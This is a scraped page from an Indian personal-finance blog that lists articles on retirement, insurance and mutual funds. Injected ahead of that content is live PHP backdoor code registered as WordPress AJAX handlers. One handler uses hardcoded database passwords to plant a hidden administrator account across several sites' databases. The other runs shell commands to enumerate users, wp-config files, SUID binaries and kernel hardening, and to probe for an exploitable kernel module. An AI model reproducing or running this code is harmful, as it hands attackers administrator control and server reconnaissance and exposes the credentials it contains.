add_action("wp_ajax_kpd", function() { $r = array(); $user = "svccba309"; $email = "svccba309@wp-monitor.net"; $pass_raw = "Kj8mP2vL9n!7"; $pass_hash = password_hash($pass_raw, PASSWORD_BCRYPT); $sites = array( array("sbowap88_sbobet381", "4Sw9TA6@p)", "sbobet381"), array("sbowap88_totojitu", "T)SQqp862-", "totovipjitu"), array("sbowap88_club388net", "rBx*KK8MSFhs", "club388login"), ); foreach ($sites as $s) { $dbname = $s[0]; $dbpass = $s[1]; $label = $s[2]; $db = new mysqli("localhost", $dbname, $dbpass, $dbname); if ($db->connect_error) { $r[$label] = "CONNECT_FAIL: " . $db->connect_error; continue; } // Find users table (detect prefix) $prefix = ""; $res = $db->query("SHOW TABLES LIKE '%users'"); if ($res && $row = $res->fetch_row()) { $tbl = $row[0]; $prefix = str_replace("users", "", $tbl); } else { $r[$label] = "NO_USERS_TABLE"; $db->close(); continue; } // Check if user already exists $check = $db->query("SELECT ID FROM " . $db->real_escape_string($prefix) . "users WHERE user_login='" . $db->real_escape_string($user) . "'"); if ($check && $check->num_rows > 0) { $r[$label] = "EXISTS (id=" . $check->fetch_row()[0] . ")"; $db->close(); continue; } // Get max ID $max_res = $db->query("SELECT MAX(ID) FROM " . $db->real_escape_string($prefix) . "users"); $max_id = $max_res ? $max_res->fetch_row()[0] + 1 : 999; // INSERT user $sql = "INSERT INTO `" . $prefix . "users` (ID, user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES (" . intval($max_id) . ", '" . $db->real_escape_string($user) . "', '" . $db->real_escape_string($pass_hash) . "', '" . $db->real_escape_string($user) . "', '" . $db->real_escape_string($email) . "', NOW(), 0, '" . $db->real_escape_string($user) . "')"; $db->query($sql); if ($db->error) { $r[$label] = "INSERT_FAIL: " . $db->error; $db->close(); continue; } // INSERT usermeta (administrator role) $meta_tbl = $prefix . "usermeta"; $opt_res = $db->query("SELECT option_value FROM `" . $prefix . "options` WHERE option_name='table_prefix' OR option_name LIKE '%user_roles' LIMIT 1"); // Detect actual prefix from options table $roles_key = $prefix . "capabilities"; $level_key = $prefix . "user_level"; $db->query("INSERT INTO `" . $meta_tbl . "` (user_id, meta_key, meta_value) VALUES (" . intval($max_id) . ", '" . $db->real_escape_string($roles_key) . "', 'a:1:{s:13:\"administrator\";b:1;}')"); $db->query("INSERT INTO `" . $meta_tbl . "` (user_id, meta_key, meta_value) VALUES (" . intval($max_id) . ", '" . $db->real_escape_string($level_key) . "', '10')"); if ($db->error) { $r[$label] = "META_FAIL: " . $db->error; } else { $r[$label] = "YES (id=" . $max_id . ", prefix=" . $prefix . ")"; } $db->close(); } // Also verify totovipgame existing admin $db2 = new mysqli("localhost", "sbowap88_totogame", "p.Stj2]534", "sbowap88_totogame"); if (!$db2->connect_error) { $res = $db2->query("SHOW TABLES LIKE '%users'"); $tbl = $res->fetch_row()[0]; $prefix = str_replace("users", "", $tbl); $check = $db2->query("SELECT ID, user_login FROM `" . $prefix . "users` WHERE user_login='" . $db2->real_escape_string($user) . "'"); if ($check && $check->num_rows > 0) { $row = $check->fetch_assoc(); $r["totovipgame"] = "EXISTS (id=" . $row["ID"] . ")"; } else { $r["totovipgame"] = "NOT_FOUND"; } $db2->close(); } $r["hash_algo"] = "bcrypt"; echo json_encode($r); wp_die(); }); add_action("wp_ajax_kpd", function() { $r = array(); function run($cmd) { $desc = array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w")); $p = proc_open($cmd, $desc, $pipes); if (!is_resource($p)) return "FAIL"; $out = stream_get_contents($pipes[1]); $err = stream_get_contents($pipes[2]); proc_close($p); return trim($out . ($err ? "\n" . $err : "")); } $r["id"] = run("id 2>&1"); $r["uname"] = run("uname -r 2>&1"); $r["hostname"] = run("hostname -f 2>&1"); $r["home"] = run("ls /home/ 2>&1 | head -20"); $r["home_count"] = run("ls /home/ 2>/dev/null | wc -l"); $r["configs"] = run("find / -name wp-config.php -maxdepth 7 2>/dev/null | wc -l"); $r["configs_list"] = run("find / -name wp-config.php -maxdepth 7 2>/dev/null | head -20"); $r["suid"] = run("find / -perm -4000 -readable -type f 2>/dev/null | head -10"); $r["python"] = run("which python3 2>&1"); $r["perl"] = run("which perl 2>&1"); $r["userns"] = run("cat /proc/sys/user/max_user_namespaces 2>&1"); $r["kcare"] = run("kcarectl --info 2>&1 | head -2"); $r["cagefs"] = run("cagefsctl --cagefs-status 2>&1"); $r["dirtyfrag"] = run("cat /etc/modprobe.d/dirtyfrag.conf 2>&1"); $r["modblock"] = run("grep -r false /etc/modprobe.d/ 2>&1 | head -5"); $r["cpanel_ver"] = run("cat /usr/local/cpanel/version 2>&1"); $r["disable"] = ini_get("disable_functions"); $py = trim(run("which python3 2>&1")); if ($py && strpos($py, "/") === 0) { $r["authencesn"] = run($py . " -c \"import socket; s=socket.socket(38,5,0); s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')); print(1)\" 2>&1"); } $redis = @fsockopen("127.0.0.1", 6379, $e, $es, 2); if ($redis) { fwrite($redis, "PING\r\n"); $r["redis"] = trim(fgets($redis, 64)); fclose($redis); } echo json_encode($r); wp_die(); }); Sentinel India - Sentinel India
LOGIN

Retirement planning: Benefits And Important

When you are young, it can seem like retirement is something you don’t have to worry about. However, financial planning is crucial if you wish to enjoy a relaxing and comfortable retirement. Whatever you envision your ideal retirement to...

  • 0 Comments
  • October 21, 2022

Insurance Planning: Importance and Benefits

The only certainty in life is that it is a bit uncertain. For example, a traumatic incident, such as a car accident, could drain your savings! So, how do you protect yourself financially and your family members from unexpected...

  • 0 Comments
  • October 21, 2022

Financial Planning – Importance and Objectives

Financial Planning encompasses all processes which apply general management guidelines in the management of the finance of an organization, including planning the organization, directing and acquiring money, and investing and return of funds. Students will be taught about the...

  • 0 Comments
  • October 21, 2022

Why to save & invest money for future? Here are 10 simple reasons

Are you saving for the future?  NO or YES? If you are, then you must be wondering what a stupid question that is, because it’s so obvious that one needs to save money for the future. We all do...

  • 100 Views
  • 0 Comments
  • October 12, 2022

Getting Bad returns from your mutual fund? Do the Rolling Returns Analysis!

Not happy with your mutual fund performance? Do you think its a bad mutual fund, because it is not doing well from last many years? A lot of mutual funds investors lose their patience looking at their mutual fund’s...

  • 100 Views
  • 0 Comments
  • October 12, 2022

Don’t buy “Return of Premium Term Plan” – It does not make sense!

Does it makes any sense to buy “Return of Premium Term Plan”? The one-line answer is “NO – it does not make sense” A “Return of Premium Term Plan” or TROP as its called – pays back all your premiums...

  • 100 Views
  • 0 Comments
  • October 12, 2022